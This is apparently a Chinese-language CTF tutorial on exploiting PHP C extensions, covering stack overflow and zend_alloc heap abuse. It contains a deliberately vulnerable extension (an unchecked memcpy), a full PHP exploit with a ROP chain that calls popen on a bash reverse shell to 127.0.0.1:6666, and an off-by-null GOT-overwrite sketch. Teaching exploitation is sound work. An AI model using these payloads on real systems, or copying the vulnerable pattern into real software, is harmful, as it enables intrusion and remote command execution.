Web-pwn的栈溢出和堆机制详细入门
字数 1790 2025-08-20 18:18:16
PHP PWN入门:栈溢出与堆机制详解
1. Web PWN简介
Web PWN主要针对PHP应用,重点分析PHP加载的外部拓展(so拓展库)。与常规PWN题不同,由于PHP加载扩展库调用内部函数,通常无法直接获得交互式shell。通常需要采用popen或exec函数族执行bash命令来反弹shell,直接执行one_gadget或system通常不可行。
2. PHP扩展模块生命周期
2.1 生命周期阶段
-
Module Init (MINIT):
- PHP解释器启动时调用,仅一次
- 示例:初始化数据库连接池
-
Request Init (RINIT):
- 每个请求到达时触发
- 示例:为每个请求创建新会话
-
Request Shutdown (RSHUTDOWN):
- 请求结束时调用
- 示例:清理请求期间分配的资源
-
Module Shutdown (MSHUTDOWN):
- 服务器关闭时调用
- 示例:关闭数据库连接池
2.2 PHP运行模式
-
CLI运行模式 (单进程SAPI):
- 示例:
php script.php - 整个进程生命周期:MINIT → RINIT → Execute → RSHUTDOWN → MSHUTDOWN
- 示例:
-
CGI运行模式 (多进程SAPI):
- 示例:Apache with mod_cgi
- 每个请求fork新PHP进程,完整生命周期
-
FastCGI运行模式 (多进程SAPI,进程可复用):
- 示例:Nginx with PHP-FPM
- 进程处理多个请求后退出
3. PHP扩展模块开发
3.1 环境搭建
sudo apt install php php-dev # 安装php及开发包
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4.3
3.2 源码目录结构
build/: 编译相关ext/: 扩展库代码main/: PHP主要宏定义sapi/: 服务器接口Zend/: Zend引擎相关
3.3 创建扩展模块
cd ext
php ext_skel.php --ext extend_name
生成的文件:
config.m4: Unix-like系统配置脚本config.w32: Windows系统配置脚本hello.c: 扩展主要源代码php_hello.h: 扩展头文件tests/: 测试文件目录
3.4 扩展模块结构
PHP扩展在C层面是zend_module_entry结构体:
struct _zend_module_entry {
unsigned short size;
const char *name; // 扩展名
const struct _zend_function_entry *functions; // 函数引用
int (*module_startup_func)(INIT_FUNC_ARGS); // 模块加载时调用
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); // 模块卸载时调用
int (*request_startup_func)(INIT_FUNC_ARGS); // 请求开始时调用
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); // 请求结束时调用
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); // phpinfo()时调用
const char *version; // 模块版本
// ...其他字段
};
3.5 函数定义与参数解析
PHP_FUNCTION(easy_phppwn) {
char *arg = NULL;
size_t arg_len;
char buf[100];
// 解析参数
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
return;
}
memcpy(buf, arg, arg_len); // 栈溢出漏洞点
php_printf("The baby phppwn.\n");
return SUCCESS;
}
参数类型标识符:
s: 字符串(带长度)l: 长整型d: 双精度浮点a: 数组o: 对象z: 实际zval
3.6 编译扩展
phpize
./configure --with-php-config=/usr/bin/php-config
# 修改Makefile取消栈保护和优化
make
sudo cp hello.so /usr/lib/php/20190902/
4. 栈溢出利用
4.1 漏洞分析
void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value) {
char buf[100]; // 栈缓冲区
size_t n;
char *arg;
if ((unsigned int)zend_parse_parameters(/*...*/, "s", &arg, &n) != -1) {
memcpy(buf, arg, n); // 无长度检查导致栈溢出
php_printf("The baby phppwn.\n");
}
}
4.2 利用技术
-
内存泄露:
- 通过
/proc/self/maps泄露内存布局 - 示例PHP代码:
$content = file_get_contents('/proc/self/maps'); echo $content;
- 通过
-
ROP链构造:
- 泄露libc地址后构造ROP链
- 使用
mprotect修改栈权限后执行shellcode
-
反弹shell:
- 常用方法:
$cmd = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"';
- 常用方法:
4.3 完整利用示例
<?php
function i2s($i, $x=8) {
$re = "";
for($j=0; $j<$x; $j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
// 读取内存布局
$content = file_get_contents('/proc/self/maps');
// 解析libc基地址
preg_match_all('/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m', $content, $matches);
$libc_base = hexdec($matches[1][0]);
// 构造payload
$p_rdi_r = $libc_base + 0x23b6a;
$p_rsi_r = $libc_base + 0x2601f;
$popen_addr = $libc_base + 0x84380;
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
$buf1 = str_repeat('a', 0x80);
$buf = str_repeat('b', 0x8) . pack('Q', $p_rdi_r) . pack('Q', $stack_addr);
$buf .= pack('Q', $p_rsi_r) . pack('Q', $stack_addr - 0x18);
$buf .= pack('Q', $popen_addr) . "r" . str_repeat("\x00", 7);
$buf = str_pad($buf, 0x50, 'c');
$buf .= str_pad($command, 0x60, "\x00") . str_repeat('\x00', 8);
$payload = $buf1 . $buf;
easy_phppwn($payload);
?>
5. PHP堆机制
5.1 内存分配概述
PHP使用zend_alloc进行内存管理:
- CHUNK: 2MB内存块
- PAGE: 4KB内存页
- Small分配: 小于3/4页大小(≤3072字节)
- Large分配: 多个4KB页(≤2MB-4KB)
- Huge分配: 大于2MB,使用mmap
5.2 小内存分配
-
分配流程:
_emalloc→zend_mm_alloc_heap→zend_mm_alloc_small- 根据大小计算bin索引(30个预定义大小:8,16,24,...,3072)
- 从对应bin的free_slot链表分配
-
初始化bin:
zend_mm_alloc_small_slow() { // 分配页面 bin = zend_mm_alloc_pages(heap, bin_pages[bin_num]); // 初始化链表 p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]); do { p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]); p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]); } while(p != end); return bin; } -
释放流程:
zend_mm_free_small(heap, ptr, bin_num) { p = (zend_mm_free_slot*)ptr; p->next_free_slot = heap->free_slot[bin_num]; heap->free_slot[bin_num] = p; }
5.3 堆漏洞利用
-
利用条件:
- 存在溢出可修改相邻chunk的fd指针
- 无double free检查
-
利用步骤:
- 选择未初始化bin的size
- 通过off-by-null修改链表指针
- 任意地址分配
- 覆盖GOT表
-
示例利用(off-by-null):
<?php // 泄露地址 leak(); // 第一次分配,利用off-by-null addHacker(str_repeat("\x11", 0x8), str_repeat("\x11", 0x30)); // 修改指针 addHacker(str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x11"), str_repeat("\x11", 0x2f)); // 覆盖GOT addHacker(str_pad($cmd, 0x40, "\x00"), "1"); editHacker(0, p64($libc_base + 0x4c411)); removeHacker(2); ?>
6. 调试技巧
-
GDB调试:
gdb php b *zif_easy_phppwn set args ./pwn.php run -
Docker调试:
gdbserver :1234 /usr/local/bin/php /var/www/html/exp.php -
内存布局查看:
$content = file_get_contents('/proc/self/maps'); echo $content;
7. 实用PHP函数
// 64位打包
function p64($addr) {
return strrev(pack('Q', $addr));
}
// 64位解包
function u64($leak) {
return unpack('Q', strrev($leak))[1];
}
// 字符串转整数
function s2i($s) {
$result = 0;
for($x=0; $x<strlen($s); $x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
// 整数转字符串
function i2s($i, $x=8) {
$re = "";
for($j=0; $j<$x; $j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
8. 总结
PHP PWN的关键点:
- 理解PHP扩展生命周期和运行模式
- 掌握栈溢出漏洞的发现与利用
- 熟悉PHP特有的堆管理机制
- 熟练使用
/proc/self/maps泄露内存布局 - 掌握PHP环境下的ROP构造技巧
- 了解off-by-null等堆漏洞在PHP环境下的利用方法